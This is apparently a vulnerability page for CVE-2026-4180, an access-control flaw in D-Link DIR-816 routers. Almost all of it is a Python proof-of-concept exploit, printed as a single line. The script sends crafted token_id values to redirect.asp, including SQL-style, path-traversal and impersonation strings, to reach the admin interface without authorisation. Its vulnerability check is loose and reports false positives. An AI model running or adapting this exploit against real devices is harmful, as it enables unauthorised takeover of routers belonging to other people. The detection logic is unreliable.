D-Link DIR-816 redirect.asp token_id 权限控制不当漏洞 (CVE-2026-4180)

import requests # CVE-2026-4180 PoC - D-Link DIR-816 Token ID Bypass # Target: D-Link DIR-816 devices running firmware 1.10CNB05 def check_vulnerability(target_ip, target_port=80): """Check if target is vulnerable to CVE-2026-4180""" # Construct the vulnerable URL with manipulated token_id url = f"http://{target_ip}:{target_port}/redirect.asp" # Try to bypass access control with crafted token_id params = { 'token_id': 'admin', # Attempting to impersonate admin 'url': 'http://example.com' } try: response = requests.get(url, params=params, timeout=10) # Check for successful bypass indicators if response.status_code == 200: # Check response content for access control bypass signs if 'login' not in response.text.lower() or 'redirect' in response.text.lower(): return True, "Vulnerable - Access control bypassed" return False, "Not vulnerable or target not responding" except requests.exceptions.RequestException as e: return None, f"Error: {str(e)}" def exploit_token_id_injection(target_ip, target_port=80): """Exploit CVE-2026-4180 to gain unauthorized access""" url = f"http://{target_ip}:{target_port}/redirect.asp" # Payload variations for token_id manipulation payloads = [ {'token_id': '1 OR 1=1', 'url': '/admin/'}, {'token_id': '../../admin', 'url': '/admin/'}, {'token_id': 'admin', 'url': '/admin/'}, {'token_id': 'root', 'url': '/admin/'}, {'token_id': '{"admin": true}', 'url': '/admin/'} ] for payload in payloads: try: response = requests.get(url, params=payload, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[*] Payload: {payload}") print(f"[*] Response length: {len(response.content)}") print(f"[*] Status: Potential access granted\n") except requests.exceptions.RequestException: continue if __name__ == "__main__": target = "192.168.0.1" # Replace with target IP is_vuln, message = check_vulnerability(target) print(f"Vulnerability Check Result: {message}")